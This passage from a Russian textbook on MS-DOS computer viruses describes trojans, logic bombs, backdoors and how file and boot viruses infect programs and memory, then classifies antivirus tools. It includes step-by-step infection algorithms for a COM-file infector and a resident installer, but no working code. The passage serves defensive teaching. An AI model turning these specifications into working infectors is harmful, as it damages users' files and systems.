середине 60-х гг. разработчики и пользователи обнаружили, что системы разделения времени весьма небезопасны с точки зрения возможности доступа к чужим данным и программам посторонних лиц, и начали принимать меры защиты против "непрошенных гостей". Поэтому сначала кратко рассмотрим некоторые приемы, применяемые злоумышленниками для повреждения чужих программ и данных. Важно понимать, что вирусы являются только одним из возможных способов инфильтрации в чужую компьютерную систему. Доверие к той или иной компьютерной системе фактически означает доверие по отношению к тем, кто ее разработал, и тем, кто ею пользуется. Эксперты по безопасности компьютерных систем часто подчеркивают, что эти проблемы в значительной степени являются социальными проблемами. Поэтому, как и в других сферах человеческой деятельности, появилась и развивается компьютерная преступность. Вирусы являются только частью проблемы компьютерной преступности, и их правильнее всего рассматривать в этом, более общем контексте. 2.1. Программы-вандалы "Homo homini lupus est" (Человек человеку волк) Плавт Класс программ, направленных на причинение вреда пользователям, часто обозначают термином "Badware", по аналогии с тем, что для обозначения программного обеспечения обычно используется термин "Software". На русский язык этот термин иногда переводится "калькой" софтвер, который не прижился из-за своей неблагозвучности . Мне кажется, что в технической литературе отдельные общепринятые иностранные слова можно использовать без перевода. Badware включает ряд подклассов, среди которых наиболее распространенными являются троянские программы и компьютерные вирусы. 2.2. Троянские программы "O tempora, o mores !" (О времена, о нравы !) Цицерон Троянскими программами (троянскими конями) обычно называют программы, содержащие скрытый модуль, осуществляющий несанкционированные действия. Эти действия не обязательно могут быть разрушительными, однако практически всегда направлены во вред пользователю. В свою очередь, троянские программы можно разделить на несколько категорий. Троянские программы-вандалы обычно выполняют или имитируют выполнение какой-нибудь полезной или экзотической функции. При этом в качестве побочного эффекта они стирают файлы, разрушают каталоги, форматируют диск и т.д. Иногда разрушительный код встраивается в какую-нибудь известную программу. Чтобы привлечь пользователей, полученная троянская программа-вандал часто маскируется под новую версию данного программного продукта. С появлением BBS программы-вандалы получили значительное распространение. При этом техно-крыса подсовывает программу в один или несколько BBS, пользователи которых затем "попадаются на удочку". В качестве примера троянской программы-вандала можно привести программу SURPRISE ("Сюрприз"). Написанная на Бейсике, она исполняла команду DEL *.*, а затем выдавала на экран строку "Surprise !". И таких простых и злобных программ создано немало. С их распространением запуск новой программы на компьютере стал небезопасной операцией. Иногда в качестве самостоятельной разновидности троянских программ-вандалов выделяют так называемые логические мины (logic bomb) є скрытые модули, встроенные в ранее разработанную и широко используемую программу. Такой модуль является безвредным до определенного события, при наступлении которого он срабатывает. Такого рода программы иногда используются уволенными или обиженными сотрудниками как форма мести по отношению к нанимателю. Частный случай логических мин, в которых срабатывание скрытого модуля определяется временем, часто называют минами с часовым механизмом (time bomb). Фактически логические мины являются средством компьютерного саботажа и их создание должно предусматривать уголовную ответственность. Хотя, как указано выше, компьютерный саботаж обычно связан с "местью" обиженных или уволенных программистов своему бывшему работодателю, он может использоваться и как форма конкурентной борьбы. В истории отечественного программирования было несколько "громких" случаев компьютерного саботажа. Так, лет семь назад отечественные газеты сообщали о программисте, который перед своим уволь- нением встроил в программу, управлявшую главным конвейером Горьковского автомобильного завода, "мину", которая через некоторое время привела к остановке главного конвейера. Программист был выявлен и осужден. На Западе, наряду с попытками хищения средств через банковские компьютеры, распространены случаи компьютерного саботажа по отношению к различного рода финансовым системам, вплоть до шифровки базы данных с последующим требованием выкупа за ключ (программу) расшифровки. Последним известным случаем такого рода было описанное выше распространение дискеты с информацией по СПИДу, в которой программа управления базой данных была троянской. Программы, обеспечивающие вход в систему или получение привилегированной функции (режима работы) в обход существующей системы полномочий, называют люками (back door). Люки часто оставляются разработчиками соответствующих компонент операционной системы для того, чтобы завершить тестирование или исправить какую-то ошибку, но нередко продолжают существовать и после того, как то, для чего они планировались, завершено или необходимость в нем отпала. Например, в операционной системе ОС ЕС широко использовалcя люк NEWPSW, позволявший программе пользователя получить привилегированный режим, называемый в серии 360/370 режимом супервизора, в обход средств контроля операционной системы. Троянские программы могут также использоваться в целях разведки. К распространенным программам такого рода относятся программы угадывания паролей. Одной из компонент сетевого вируса Морриса была такая программа, причем, как оказалось, она сумела добиться успеха в значительном числе случаев. 2.3. Компьютерные вирусы "Да он-то как вперед пробрался ?"є "За хвостик тетеньки держался !" И.Франко Формально компьютерным вирусом называется программа, которая может заражать другие программы путем включения в них своей, возможно модифицированной, копии, причем последняя сохраняет способность к дальнейшему размножению [Cohen88a]. Программа, зараженная вирусом, может рассматриваться как автоматически созданная троянская программа. В данном случае скрытым модулем является тело вируса, а одним из несанкционированных действий є заражение других программ. Помимо заражения, вирус, подобно любой другой троянской программе, может выполнять и другие несанкционированные действия, от вполне безобидных до крайне разрушительных. Последние, в частности, могут включать уничтожение данных на зараженном диске. В этом случае вирус может рассматриваться как логическая мина. Выполняемые вирусом несанкционированные действия могут быть обусловлены наступлением определенной даты (такие троянские программы в какой-то степени аналогичны минам с часовым механизмом) или определенного количества размножений, или сочетанием определенных условий, например записи зараженной программы на винчестер (последние аналогичны различного рода бесконтактным минам). При этом комбинация этих условий может быть достаточно сложной, чтобы затруднить ее определение (как например, в вирусе Пинг-понг). Инфицируя программы, вирусы могут распространяться от одной программы к другой (транзитивно), что делает их более опасными по сравнению с другими методами компьютерного вандализма. Зараженные программы (или их копии) могут передаваться через дискеты или по сети на другие ЭВМ. Учитывая широко распространенную практику обмена и передачи программ на дискетах среди пользователей персональных ЭВМ, количество зараженных программ может быть значительным, приводя к своего рода эпидемиям. Этому также способствует распространенная в нашей стране практика использования одной ПЭВМ несколькими пользователями. Опасность существенно возрастает при наличии винчестера, программы на котором используются всеми пользователями. В этом случае один неквалифицированный или злонамеренный пользователь может нанести значительный ущерб другим пользователям. Особую опасность с точки зрения распространения компьютерных вирусов представляют любители компьютерных игр, обычно слабо знающие операционную систему и не вполне понимающие смысл выполняемых ими действий. Такие пользователи подвергают значительному риску своих коллег, работающих с ними на одной ПЭВМ. Упрощенно процесс заражения вирусом программных файлов можно представить следующим образом. Код зараженной программы обычно изменен таким образом, чтобы вирус получил управление первым, до начала работы программы-вирусоносителя (рис.2). При передаче управления вирусу, он каким-то способом находит новую программу и выполняет вставку собственной копии в начало (рис.2б) или добавление ее в конец этой, обычно еще не зараженной, программы (рис.2а). Если вирус дописывается в конец программы, то он корректирует код программы, чтобы получить управление первым. Для этого первые несколько байтов запоминаются в теле вируса, а на их место вставляется команда перехода на начало вируса. Этот способ является наиболее распространенным. Получив управление, вирус восстанавливает "спрятанные" первые байты, а после отработки своего тела передает управление программе-вирусоносителю, и та нормально выполняет свои функции. Возможны случаи, когда вирус включает себя куда-то в середину программы, например, в область стека (рис.2в). Последние случаи встречаются редко. +------------------+ |++++++++++++++++++| |+Команда перехода+|+ |++++++++++++++++++|| |------------------|| |++++++++++++++++++|| |+ ЗАРАЖЕННАЯ +++|| |++++++++++++++++++|| |+ ПРОГРАММА ++|| |++++++++++++++++++|| |+ (COM - ФАЙЛ) ++|| |++++++++++++++++++|| |++++++++++++++++++|| |++++++++++++++++++|+ |++++Тело вируса+++| |++++++++++++++++++| |++++++++++++++++++| |++++++++++++++++++| |++++++++++++++++++| |+Спрятанные байты+| |++++++++++++++++++| |++++++++++++++++++| |++++++++++++++++++| +------------------+ а +-------------+ |+++++++++++++| |+++++++++++++| |+Тело вируса+| |+++++++++++++| |+++++++++++++| |+++++++++++++| |+++++++++++++| |+++++++++++++| |+++++++++++++| |+++++++++++++| |+ЗАРАЖЕННАЯ +| |+++++++++++++| |+ПРОГРАММА +| |+++++++++++++| |+COM - ФАЙЛ)+| |+++++++++++++| |+++++++++++++| |+++++++++++++| |+++++++++++++| |+++++++++++++| |+++++++++++++| |+++++++++++++| +-------------+ б Рис. 2. Схема заражения вирусом COM-файлов: а - в конец программы; б - в начало программы; в - в середину программы. +------------------+ |++++++++++++++++++| |+Команда перехода+|+ |++++++++++++++++++|| |------------------|| |++++++++++++++++++|| |+ НАЧАЛО +++|| |++++++++++++++++++|| |+ ЗАРАЖЕННОЙ +++|| |++++++++++++++++++|| |+ ПРОГРАММЫ ++|| |++++++++++++++++++|| |++++++++++++++++++|| |++++++++++++++++++|+ |++++++++++++++++++| |++++Тело вируса+++| |++++++++++++++++++| |++++++++++++++++++| |++++++++++++++++++| |+Спрятанные байты+| |++++++++++++++++++| |++++++++++++++++++| |++++++++++++++++++| |------------------| |++++++++++++++++++| |+ КОНЕЦ +++| |++++++++++++++++++| |+ ЗАРАЖЕННОЙ +++| |++++++++++++++++++| |+ ПРОГРАММЫ ++| |++++++++++++++++++| +------------------+ в 2.4. Анатомия компьютерного вируса Наиболее распространенными типами компьютерных вирусов в MS DOS являются файловые нерезидентные, файловые резидентные и бутовые вирусы. Многие из пользователей имеют ограниченный опыт работы с МS DOS. В то же время, для понимания функционирования файловых вирусов и средств защиты от них важно понимать структуру файловой системы и прерываний MS DOS. Поэтому в приложении 6 приводится краткий обзор структуры файловой системы MS DOS, в приложении 7 структуры исполняемых файлов и некоторых управляющих блоков, а в приложениях 8 и 9 є сведения о прерываниях. Более подробные сведения можно получить в учебниках по языку ассемблера [Скенлон89], в электронном справочнике TECHHELP, а также книгах П.Нортона [Нортон90] и Жордена. Разбор анатомии компьютерных вирусов начнем с анализа структуры нерезидентного файлового вируса, как простейшей разновидности этого класса системных программ. Структурно компьютерный вирус можно представить состоящим из двух частей: головы и хвоста. Головой называется часть вируса, которая первой получает управление. Хвост вируса - это части вируса, расположенные отдельно от головы. В простейшем случае вирус может состоять из одной головы, и действительно файловые вирусы обычно так и устроены. Такие вирусы будем называть несегментированными. В отличие от них сегментированные вирусы имеют располагающийся отдельно хвост и в какой-то мере аналогичны оверлейным файлам. Примером сегментированных вирусов являются бутовые вирусы, хотя возможна реализация сегментированных файловых вирусов. 2.4.1. Структура файлового нерезидентного вируса Файловые вирусы являются наиболее распространенной разновидностью компьютерных вирусов. Принципиально они заражают любой тип исполняемых файлов, существующих в MS DOS: COM, EXE, OVL и т.д. Однако основными объектами заражения являются файлы типа COM и файлы типа EXE. Некоторые сведения о структуре этих файлов приведены в прил. 6. Наиболее просто осуществляется заражение COM-файлов, которые представляют собой почти точную копию участка памяти с загруженной программой. Единственная требуемая настройка при загрузке COM-файлов состоит в загрузке сегментных регистров значениями, соответствующими месту загрузки программы. Значительная часть COM-файлов начинается с команды перехода, обходящей содержащие в начале программы данные. При заражении COM-файлов вирус запоминает в своем теле первые три или больше байтов программы и вместо них записывает переход на начало собственного кода. Так поступает большинство файловых вирусов, заражающих COM-файлы, но не все. Дело в том, что при дописывании тела вируса в конец заражаемого файла весь код вируса должен быть написан специальным образом, обычно называемым позиционно-независимым программированием: при выполнении программы все ссылки должны адресоваться через соответствующее смещение, которое обычно хранится в одном из регистров. Некоторые вирусы используют более примитивный подход: вместо дописывания своего тела в конец заражаемого COM-файла они перемещают туда первые несколько блоков программы, а сами записываются на место освободившихся блоков. Так, например, поступает вирус RCE1813. В этом случае только программа восстановления исходного состояния программы должна быть позиционно-независимой или она должна размещаться где-то в фиксированных адресах памяти, используя какой-то неиспользуемый ее участок. Простейший нерезидентный компьютерный вирус, заражающий COMфайлы в текущем каталоге и дописывающий свое тело в конец файла, можно представить в виде следующей неформальной спецификации. Шаг 1: Восстановить первые три байта программы. Три байта зараженной программы, сохраненные в теле вируса, пересылаются на свое старое место. Шаг 2: Проверить среду. Проверить версию операционной системы. Если не подходящая, то перейти к шагу 11. Шаг 3: Найти очередную жертву(ы). Найти в текущем каталоге очередной файл типа COM. При неудаче перейти к шагу 11. Шаг 4: Проверить зараженность потенциальной жертвы. Считать область, позволяющую установить, заражен ли уже данный файл вирусом или нет. Проверить содержимое этой области. Если файл уже заражен, то перейти к шагу 3, иначе перейти к шагу 5. Шаг 5: Проверить, подходит ли жертва для заражения. Если длина файла + длина вируса больше 64К, перейти к шагу 3, иначе перейти к шагу 6. Шаг 6: Снять атрибут READ ONLY, запомнить дату создания программы. Снять указанный атрибут и запомнить в своем теле дату создания программы. Шаг 7: Обеспечить передачу управления вирусу. Считать первые три байта зараженной программы и записать их в своем теле. Сформировать команду перехода на байт, следующий за концом программы, и записать соответствующие три байта в начало заражаемой программы. При неудаче перейти к шагу 11, иначе перейти к шагу 8. Шаг 8: Дописать тело вируса в конец заражаемой программы. Передвинуть указатель файла в конец программы и установить режим дозаписи. Переписать свое тело в конец заражаемой программы. При неудаче перейти к шагу 11, иначе перейти к шагу 9. Шаг 9: Восстановить дату создания зараженной программы. Записать в элемент каталога, соответствующий заражаемой программе, дату, сохраненную в теле вируса. Шаг 10: Восстановить атрибут READ ONLY. Присвоить заражаемому файлу атрибуты, установленные у файла до заражения и сохраненные в теле вируса. При неудаче перейти к шагу 11, иначе перейти к шагу 10. Шаг 11: Выход. Восстановить содержимое регистров и передать управление программе-вирусоносителю. Как видно из приведенной схемы, данный вирус распространяется не мгновенно по всей файловой системе, а постепенно, по мере заражения файлов в текущем каталоге. Поэтому от момента появления в файловой системе первого зараженного файла до заражения всех файлов в каталоге должно пройти некоторое время, зависящее от интенсивности использования зараженной программы. Наиболее уязвимыми с точки зрения блокирования размножения вируса являются шаг 6 (попытка снятия атрибута READ ONLY), шаги 7,8 є запись в файл, содержащий исполняемую программу, и шаг 9 є установка даты создания файла, отличающейся от текущей. Для блокирования этих шагов обычно используются различные резидентные программы (см. ниже). Кроме того, если на шаге 4 вирус использует для маркировки зараженных файлов легко воспроизводимый признак (например, простановку в поле даты значения 62 секунды є излюбленный признак для файловых вирусов), можно блокировать его распространение, присвоив этот признак всем заражаемым данным вирусом файлам. Этот прием используется так называемыми программами-вакцинами (см. ниже). Вставка тела вируса при заражении может выполняться не только в хвост. Код вируса может имплантироваться в начало, конец или середину файла. 1) Вставка в начало файла. В этом случае первые блоки (или все тело) заражаемой программы обычно переписываются в конец, поэтому до передачи управления зараженной программе вирус должен предварительно переписать эти блоки (или все тело) на первоначальное место, заменив ими собственный код. С этой целью вирус должен переместить свое тело или хотя бы соответствующую часть своего кода таким образом, чтобы она не была затерта в процессе операции перезаписи. Некоторые примитивные вирусы, записываясь в начало заражаемого файла, не сохраняют его содержимого. При этом, естественно, зараженный файл уничтожается, а вирус, получив управление, должен как- то замаскировать тот факт, что вызываемая программа является неработоспособной. Для этой цели иногда используется какое-нибудь подходящее сообщение об ошибке. 2) Вставка в конец файла. При этом необходимо обеспечить передачу управления коду вируса до начала работы зараженной программы. Для файлов типа COM это обеспечивается заменой нескольких первых байтов программы (обычно трех в соответствии с размером кода команды перехода микропроцессора 8088/8086) на команду перехода к началу вируса (инсталлятору). При этом сами первые байты обязательно должны быть сохранены где-то в теле вируса, что обеспечивает возможность их восстановления (операция поиска этих трех байтов является составной частью работы любого фага). Когда инсталлятор вируса получает управление, то обычно в начале своей работы он восстанавливает измененные вирусом байты в первоначальном виде. 3) Вставка в середину файла. Этот способ заражения файла встречается редко. Во-первых, этот способ используется узкоспециализированными вирусами, поражающими определенный класс программ, особенности структуры которого заранее известны, например, только файл СOMMAND.COM. Примером такого вируса может служить вирус RC346 (Lehigh). Во-вторых, и это гораздо более частый случай, вставка в середину возможна для обычных вирусов, цепляющихся к концу EXE-файл, если в заголовке этого файла неправильно указана его длина, т.е. часть файла используется в качестве буфера или неявного оверлея, как например, в головном модуле системы FOXBASE. В этом случае вирус считает, что файл имеет длину, указанную в заголовке, и записывает свой код в область буфера или оверлея. При этом он оказывается в середине действительно занимаемого данной программой файла. В-третьих, файл может быть заражен несколькими вирусами, однотипно заражающими файл (обычно дописывающими свой код в конец файла). В этом случае, вирус первым заразивший данный файл, оттесняется к середине файла последующими вирусами. Являясь сравнительно редкими, указанные случаи довольно часто не учитываются создателями антивирусных программ, в частности, детекторов и фагов, которые увлекаясь оптимизацией времени выполнения своих программ, принимают неправильные допущения о расположении кода вируса в теле зараженной программы. В результате файл может быть не детектирован как зараженный или вылечен неправильно. 2.4.2. Структура файлового резидентного вируса Для понимания функционирования файлового вируса необходимо некоторое знакомство с системой прерываний компьютера типа IBM PC. Минимальные необходимые сведения приводятся в приложениях 8 и 9. Файловые резидентные вирусы, помимо отдельных файлов, заражают, если так можно выразиться, и память компьютера. Предельно упрощая, память компьютера можно рассматривать как еще один файл, который можно заражать, дописываясь "в голову", т.е. в область младших адресов свободного участка памяти, "в хвост", т.е. в область старших адресов свободного участка памяти и наконец, "в середину", т.е. в область адресов, уже используемых операционной системой или какойнибудь программой (старшие адреса вектора прерываний, буфера и т.д.). Вместе с тем, структура резидентного вируса существенно отличается от структуры нерезидентного вируса. Резидентный вирус можно представлять как состоящий из двух относительно независимых частей: инсталлятора и модуля обработки прерываний. Последний, в свою очередь, состоит из ряда программ обработки. Несколько упрощая, можно считать, что на каждое перехватываемое прерывание приходится своя программа обработки. Инсталлятор получает управление при выполнении зараженной программы и играет роль своеобразной ракеты-носителя, запускающей вирус на орбиту, т.е. в оперативную память. Он отрабатывает один раз є после запуска зараженной программы и его целесообразно рассматривать как специализированный файловый вирус, заражающий опе- ративную память и, возможно, обычные файлы. В последнем случае инсталлятор можно рассматривать как доработанный для заражения оперативной памяти файловый вирус. Структуру инсталлятора можно упрощенно представить следующим образом: Шаг 1: Проверить версию MS DOS Шаг 2: Восстановить измененные байты зараженной программы. Шаг 3: Проверить зараженность оперативной памяти. Если память заражена, то передать управление программе-вирусоносителю, иначе перейти к шагу 4. Шаг 4: Закрепиться в оперативной памяти. Переписать свое тело в заданный участок оперативной памяти и выполнить некоторые действия по закреплению этого участка за собой. Шаг 5: Перехватить требуемые прерывания. Заменить адреса в соответствующих элементах вектора прерываний на адреса своих программ обработки. Шаг 6: Передать управление зараженной программе. Приведем некоторые пояснения к упрощенной схеме инсталлятора файлового вируса. На шаге 3 инсталлятор, подобно обычному файловому вирусу, каким-то образом определяет зараженность оперативной памяти. Эта проверка может выполняться самыми разнообразными способами. Одним из наиболее распространенных является введение некоторого нового прерывания или функции существующего прерывания. Инсталлятор выдает это прерывание, и получаемый ответ, например 5555 в регистре AX, играет роль сигнала "память заражена" и "память еще не заражена", своеобразный аналог 62 секунд для нерезидентных файловых вирусов. Второй способ состоит в сканировании памяти и поиске сигнатуры, характерной для данного вируса. Поиск может начинаться с определенной, характерной точки, например, с адреса перехватываемого вирусом прерывания (обычно 21). Могут быть использованы и другие способы или их комбинация. Если проверка показала, что память еще не заражена, то на шаге 4 вирус выполняет ее заражение. Как уже указывалось, заражение может производиться как путем записывания тела вируса на участок свободной памяти, так и "вписыванием" тела в уже используемый участок. В первом случае вирус должен обеспечить резервирование этой памяти, чтобы она не была затерта другими программами. Простейшие вирусы выполняют это с помощью функций 21-31 или 27 MS DOS. Такие вирусы видны при просмотре списка резидентных программ утилитами типа MAP, MEMANAL и т.д. Более сложный способ предполагает манипуляцию с цепочкой блоков MCB (см. прил.7): вирус сам создает дополнительный блок MCB для захваченного участка памяти. После закрепления в оперативной памяти инсталлятор выполняет так называемый перехват прерываний є обеспечение передачи управления модулям вируса, обрабатывающим соответствующие прерывания. Это может делаться "в лоб", т.е. путем использования соответствующих функций MS DOS или "с черного хода" є нестандартным способом, обеспечивающим, в общем случае, более высокую степень маскировки. При любом способе конечный эффект состоит в том, что при возникновении определенного прерывания вирусу будет передаваться управление. При этом вирус может содержать дополнительный механизм, обеспечивающий то, что он будет получать управление всегда первым. Такие резидентные вирусы будем называть всплывающими. Всплытие помогает вирусу обходить простейшие программы-сторожа, основанные на перехвате тех же прерываний, поскольку они будут получать управление после вируса. Этот способ использует, в частности, вирус RCE1800 (Эдди). Отсюда следует, что анализ списка резидентных программ и объема памяти, сообщаемого MS DOS, является весьма полезным диагностическим приемом, применимым как при анализе многих резидентных файловых вирусов, так и при анализе бутовых вирусов. Существует целый ряд программ, выдающих список резидентных программ. Автор рекомендует использовать для этой цели программу RELEASE, которая являясь резидентной, не только позволяет получить этот список в любой момент, но дает возможность снять ненужные резидентные программы. Сведения об объеме оперативной памяти (установлен- ной и свободной) проще всего получить с помощью программы CHKDSK, вxодящей в MS DOS (она также выдает очень важные сведения об объеме памяти, занятой сбойными кластерами, и количестве скрытых файлов), хотя имеется целый ряд других программ с аналогичными функциями (SMAP, MEMANAL, MEMSTAT и др). В случае наличия опасности заражения вирусом полезно включить вызов CHKDSK в файл AUTOEXEC.BAT, а за ним поместить строку с данными, которые получены при загрузке на незараженной системе, например: c:\dos\chkdsk echo ПРОВЕРЬТЕ СООТВЕТСТВИЕ ПОЛУЧЕННЫХ ЗНАЧЕНИЙ ЭТАЛОННЫМ ! echo 188416 in 8 hidden, 61440 in bad, 655360 totalmem, pause 515424 free memory Функционирование резидентного файлового вируса можно представить как две стадии: стадию инсталляции и стадию слежения. При запуске зараженной программы управление получает инсталлятор, который обеспечивает закрепление вируса в оперативной памяти, перехват требуемых прерываний и, возможно, маскировку (с целью затруднить свое обнаружение среди резидентных программ). Эта фаза работы резидентного вируса получила название фазы инсталляции. В дальнейшем каждый раз при возникновении одного из перехваченных вирусом прерываний управление получает один из модулей обработки соответствующего прерывания. При этом вирус может анализировать поступивший запрос и, в зависимости от его вида, выполнять те или иные действия. Например, загрузка программы в оперативную память и ее выполнение в MS DOS реализованы с помощью прерывания 21-2B. Если вирус перехватывает это прерывание, то он может определить имя файла, из которого выполняется загрузка, и заразить программу в этом файле. Следует также отметить, что способ поиска "жертвы" у резидентных вирусов существенно отличается от способа, используемого нерезидентными вирусами. Нерезидентные вирусы получают управление после загрузки в память зараженной программы, а затем ищут файл-жертву, используя параметры PATH, СOMSPEC или другую информацию о расположении выполняемых программ. Если жертва найдена, то она заражается, а затем управление возвращается зараженной программе. Резидентные вирусы реагируют на определенные прерывания. Получив управление после перехваченного прерывания, они выполняют соответствующие действия. Как уже указывалось, обычно резидентные файловые вирусы выполняют заражение запускаемых программ (по прерыванию 21-4B), однако наиболее инфицирующие из резидентных вирусов заражают файлы при их открытии или чтении. Например, вирус RCE-1800, кроме указанных действий перехватывает и прерывания по чтению, заражая, в частности, оба файла, копируемые командой COPY, если хотя бы один из них имеет расширение ЕХЕ или СОМ. 2.4.3. Структура бутового вируса Бутовые вирусы являются весьма специализированной разновидностью резидентных файловых вирусов. Упрощенно бутовый вирус можно представить себе как специализированный резидентный вирус, который заражает единственный "файл" є загрузочный сектор гибкого или жесткого диска. Четкой границы между резидентными файловыми вирусами и бутовыми вирусами не существует: в последнее время появились гибриды, сочетающие заражение файлов с заражением бутсектора винчестера. Это подчеркивает близость основных принципов организации этих двух типов вирусов. Этот тип вирусов распространяется, инфицируя дискеты, причем как загружаемые (т.е. содержащие копию MS DOS), так и незагружаемые (т.е. содержащие любую информацию). Заражение незагружаемых дискет связано с определенным психологическим расчетом, который, к сожалению, слишком часто оправдывается: при перезагрузке MS DOS пользователи обычно забывают проверить, вставлена ли дискета в диско- вод A, и часто перезагрузка выполняется с вставленной в указанный дисковод дискетой, с которой вирус и попадает на винчестер. Инфицированная дискета всегда содержит часть кода вируса в бутсекторе, поэтому бутовые вирусы легко обнаружить. При просмотре бутсектора дискеты на незараженном компьютере легко видеть изменения загрузчика (дамп стандартного бутсектора приведен в прил.6). Структура стандартного загрузчика лишь незначительно меняется от версии к версии MS DOS, поэтому изменения легко выявить визуально (особенно первых трех байтов, содержащих команду JMP на начало загрузчика) или с помощью подходящей программы (Scan, Aidstest и др.). Такая проверка должна обязательно проводиться для всех поступающих дискет. Как уже указывалось, файловые вирусы обычно состоят из одного сегмента. Впрочем, первую команду JMP, подставляемую большинством файловых вирусов, дописывающих свое тело в конец COM-файла, можно рассматривать как вырожденный сегмент. Бутовый вирус всегда состоит из нескольких сегментов. Обычно таких сегментов два и мы будем называть их головой и хвостом. Положение головы бутового вируса на дискете определено однозначно: она всегда расположена в бутсекторе и занимает ровно сектор. На винчестере ситуация немного сложнее: голова бутового вируса может располагаться в одном из его двух бутсекторов - главном (MBR Master Boot Record, расположенный по абсолютному дисковому адресу 0/0/1) или бутсекторе логического диска С, обычно занимающего первый сектор соответствующего логического диска. Для наиболее распространенных 40 M винчестеров это обычно абсолютный сектор 18 (при 17 секторах на трек его адрес равен 1/0/1). Хвост бутового вируса может располагаться в разных местах, например: кластерах, отмеченных на диске как сбойные и тем самым исключенных из дальнейшего распределения (псевдосбойные кластеры); последних физических секторах дискеты или винчестера, поскольку они обычно всегда свободны (например, 40/39/8 для обычных 360К дискет); в неиспользуемых блоках FAT, главного каталога или одного из подкаталогов; дополнительных дорожках дискеты или винчестера (41 и последующие дорожки для 360К дискет). В любом случае хвост вируса должен содержать копию оригинального бутсектора, и если она хранится не в закодированном виде, то положение хвоста в большинстве случаев можно определить глобальным контекстным поиском по дискете или винчестеру (исключением является случай использования для хвоста дополнительных дорожек на дискете или винчестере). В минимальном варианте хвост может состоять только из одного сектора с оригинальным бутсектором. Для всех бутовых вирусов механизм заражения однотипен. Когда MS DOS загружается с зараженного диска, бутовый вирус получает управление и сначала копирует себя в старшие адреса памяти. Затем он уменьшает размер памяти, заменяя значение вектора прерываний A2h с тем, чтобы защитить резидентную часть вируса, и 13h с тем, чтобы перехватывать обращения к диску. Таким образом, при любом обращении к диску управление получает обработчик этого прерывания, составляющий основную часть тела вируса. После этих действий вирус запускает стандартный системный загрузчик, который загружает IBMBIO.COM и IBMDOS.COM (или IO.SYS и MSDOS.SYS), т.е. происходит стандартная загрузка системы. Получив управление по прерыванию по чтению, вирус анализирует, относится ли оно к дискете или к винчестеру. Если это прерывание относится к дискете, то сначала вирус проверяет, заражена уже данная дискета или нет. Для этой цели считывается бутсектор и проверяется его содержимое. Если дискета еще не заражена, то вирус заражает дискету, а затем обрабатывает команду READ. В случае, если дискета уже заражена, вирус сразу переходит к обработке команды READ; так же он поступает в случае, если дискета защищена от записи. Что касается места, в котором бутовый вирус прячет свой хвост, то как было отмечено выше, оно различается от вируса к вирусу. Наиболее часто бутовые вирусы размещают свой хвост в свободном кластере(ах), который помечается как сбойный. Последнее необходимо для того, чтобы занятый вирусом кластер(ы) не был использован MS DOS при создании нового файла и вместе с тем является неплохим методом маскировки, поскольку пользователи обычно плохо представляют структуру диска и не следят за количеством сбойных кластеров на нем. Еще раз подчеркнем, что бутовые вирусы инфицируют любые дискеты, а не только системные. Как уже указывалось, это связано с тем, что с несистемной дискеты также может выполняться попытка загрузки MS DOS. Чаще всего такая ситуация возникает после зависания операционной системы. Если при перезагрузке инфицированная дискета окажется в "готовом" дисководе А, то естественно, загрузка будет сначала выполняться с нее. В этом случае программа начальной загрузки считывает зараженный ВООТ и передает ему управление. Вирус загружает себя в оперативную память и имитирует сообщение, выдаваемое в этом случае стандартным загрузчиком: Non system disk При этом, если пользователь откроет дисковод с дискетой и нажмет клавишу Enter (Ввод), то вирус останется в памяти, заразит винчестер и в дальнейшем будет заражать все вставляемые дискеты, к которым производится хотя бы одно обращение (достаточно команды DIR). Все бутовые вирусы перехватывают 13 прерывание (см. прил. 8) и поэтому обычно конфликтуют с драйверами, поддерживающими нестандартные форматы (например, 720 K). В лучшем случае при этом происходит зависание системы или выдача сообщения о делении на нуль. В худшем случае операционная система остается работоспособной, на дискету что-то пишется, но потом ничего прочитать с нее нельзя. Особое внимание стоит обратить на тот факт, что некоторые бутовые вирусы перехватывают прерывание с клавиатуры и могут пережить в оперативной памяти мягкую перезагрузку (т.е. перезагрузку с помощью нажатия клавиш Ctrl-Alt-Del). Из выявленных в CCCР вирусов к этому типу относится вирус WM-1F (Joshy). Как уже отмечалось, голова бутового вируса всегда находится в бутсекторе и для контроля дискет на зараженность можно просто просмотреть содержимое бутсектора. В целом даже это не является необходимым. Поскольку подавляющее большинство дискет не является загружаемыми, можно профилактически разрушать содержимое бутсектора таких дискет. В частности, там можно хранить информацию о времени и источнике получения дискеты или какие-то указания по ее использованию. Достаточно разрушить первые три байта бутсектора, чтобы нейтрализовать любой бутовый вирус. Это можно сделать с помощью программ Norton Utilitis, PC Tools и DEBUG. Для профилактического разрушения бутсектора можно использовать специальную утилиту, например, DEBOOT В.Пономаренко. Следует отметить, что число известных чисто бутовых вирусов намного меньше, чем файловых и, кроме того, скорость их размножения ниже (число дискет заведомо меньше, чем количество файлов на них). В целом, заражение "чистым" бутовым вирусом является признаком беспечности и недостаточной квалификации пользователя в значительно большей степени, чем заражение файловым вирусом. При соблюдении приведенных выше несложных рекомендаций его можно полностью исключить. 2.5. Панацеи не существует (общая классификация средств защиты) "Специалист подобен флюсу, полнота его одностороння" Козьма Прутков Операционная система MS DOS, отличающаяся практически полным отсутствием защиты от несанкционированных действий, облегчает разработку компьютерных вирусов. Однако важно понимать, что компьютерные вирусы не являются программами, использующими ошибки или недостатки конкретной операционной системы. Для обеспечения своего функционирования вирусу достаточно лишь нескольких вполне обычных операций, используемых большинством нормальных программ. Поэтому принципиально не может существовать универсальный метод, защищающий операционную систему от распространения любого вируса. Тем не менее, можно существенно затруднить задачу создания вируса, применяя специальные методы как в самой операционной системе, так и используя дополнительные резидентные и нерезидентные средства защиты. Простейшим средством защиты от вируса является программа, позволяющая составить список зараженных программ. Мы будем называть такую программу детектором. В качестве детектора могут использоваться и имеющиеся программы, способные выполнять поиск строки в файле или, желательно, в файлах на заданном диске или каталоге. Детектор может быть и резидентным. В этом случае после загрузки программы он проверяет ее на зараженность и, только если вирус не обнаружен, передает ей управление. Вторым и наиболее распространенным средством защиты от вирусов являются так называемые фаги є программы, "выкусывающие" вирус из зараженной программы и тем самым восстанавливающие ее в виде, близком к первоначальному. Операция выкусывания не всегда бывает успешной. Фаги также могут быть резидентными, однако из-за значительного объема резидентные фаги встречаются редко. Третьим видом антивирусных программ являются резидентные программы, контролирующие подозрительные действия запускаемых программ и блокирующие их либо "молча", либо выдавая сообщение пользователю, который может разрешить действие или запретить (в последнем случае программа, предпринявшая опасное действие, может закончиться аварийно). Будем называть такие программы сторожами. При этом дисковые драйверы, обеспечивающие возможность сегментации винчестера и присваивания отдельным разделам статуса READ ONLY, можно рассматривать как специальную разновидность 